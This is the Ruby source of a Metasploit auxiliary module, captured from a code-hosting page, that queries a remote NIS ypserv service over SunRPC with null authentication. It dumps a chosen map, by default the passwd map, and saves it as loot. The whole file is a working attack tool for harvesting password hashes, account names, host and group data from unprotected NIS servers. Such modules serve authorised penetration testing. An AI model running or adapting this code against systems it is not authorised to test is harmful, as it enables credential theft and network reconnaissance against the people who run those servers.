166 lines
4.5 KiB
Ruby
166 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::SunRPC
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NIS ypserv Map Dumper',
|
|
'Description' => %q{
|
|
This module dumps the specified map from NIS ypserv.
|
|
|
|
The following examples are from ypcat -x:
|
|
|
|
Use "ethers" for map "ethers.byname"
|
|
Use "aliases" for map "mail.aliases"
|
|
Use "services" for map "services.byname"
|
|
Use "protocols" for map "protocols.bynumber"
|
|
Use "hosts" for map "hosts.byname"
|
|
Use "networks" for map "networks.byaddr"
|
|
Use "group" for map "group.byname"
|
|
Use "passwd" for map "passwd.byname"
|
|
|
|
You may specify a map by one of the nicknames above.
|
|
},
|
|
'Author' => 'wvu',
|
|
'References' => [
|
|
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
|
['URL', 'https://tools.ietf.org/html/rfc4506']
|
|
],
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
|
|
OptString.new('DOMAIN', [true, 'NIS domain']),
|
|
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
|
])
|
|
end
|
|
|
|
def run
|
|
proto = datastore['PROTOCOL']
|
|
domain = datastore['DOMAIN']
|
|
map_name = nick_to_map(datastore['MAP'])
|
|
|
|
begin
|
|
sunrpc_create(
|
|
proto, # Protocol: TCP (6)
|
|
100004, # Program: YPSERV (100004)
|
|
2 # Program Version: 2
|
|
)
|
|
rescue Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
|
rescue Rex::Proto::SunRPC::RPCError
|
|
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
|
|
end
|
|
|
|
# Flavor: AUTH_NULL (0)
|
|
sunrpc_authnull
|
|
|
|
# XXX: domain and map_name are modified in place
|
|
ypserv_all_call = Rex::Encoder::XDR.encode(
|
|
domain, # Domain: [redacted]
|
|
map_name # Map Name: passwd.byname
|
|
)
|
|
|
|
begin
|
|
res = sunrpc_call(
|
|
8, # Procedure: ALL (8)
|
|
ypserv_all_call # Yellow Pages Service ALL call
|
|
)
|
|
rescue Rex::Proto::SunRPC::RPCError
|
|
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
|
|
ensure
|
|
# Shut it down! Shut it down forever!
|
|
sunrpc_destroy
|
|
end
|
|
|
|
unless res && res.length > 8
|
|
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
|
|
return
|
|
end
|
|
|
|
# XXX: Rex::Encoder::XDR doesn't do signed ints
|
|
case res[4, 4].unpack('l>').first
|
|
# Status: YP_NOMAP (-1)
|
|
when -1
|
|
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
|
|
# Status: YP_NODOM (-2)
|
|
when -2
|
|
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
|
|
end
|
|
|
|
map = begin
|
|
Timeout.timeout(datastore['XDRTimeout']) do
|
|
parse_map(res)
|
|
end
|
|
rescue Timeout::Error
|
|
fail_with(Failure::TimeoutExpired,
|
|
'XDR decoding timed out (try increasing XDRTimeout?)')
|
|
return
|
|
end
|
|
|
|
if map.blank?
|
|
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
|
|
return
|
|
end
|
|
|
|
map_file = map.values.join("\n") + "\n"
|
|
|
|
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
|
|
|
|
# XXX: map_name contains null bytes if its length isn't a multiple of four
|
|
store_loot(map_name.strip, 'text/plain', rhost, map_file)
|
|
end
|
|
|
|
def parse_map(res)
|
|
map = {}
|
|
|
|
loop do
|
|
begin
|
|
# XXX: res is modified in place
|
|
_, status, value, key = Rex::Encoder::XDR.decode!(
|
|
res,
|
|
Integer, # More: Yes
|
|
Integer, # Status: YP_TRUE (1)
|
|
String, # Value: [redacted]
|
|
String # Key: [redacted]
|
|
)
|
|
|
|
break unless status == 1 && key && value
|
|
|
|
map[key] = value
|
|
rescue Rex::ArgumentError
|
|
vprint_status("Finished XDR decoding at #{res.inspect}")
|
|
break
|
|
end
|
|
end
|
|
|
|
map
|
|
end
|
|
|
|
# ypcat -x
|
|
def nick_to_map(nick)
|
|
{
|
|
'ethers' => 'ethers.byname',
|
|
'aliases' => 'mail.aliases',
|
|
'services' => 'services.byname',
|
|
'protocols' => 'protocols.bynumber',
|
|
'hosts' => 'hosts.byname',
|
|
'networks' => 'networks.byaddr',
|
|
'group' => 'group.byname',
|
|
'passwd' => 'passwd.byname'
|
|
}[nick] || nick
|
|
end
|
|
|
|
end
|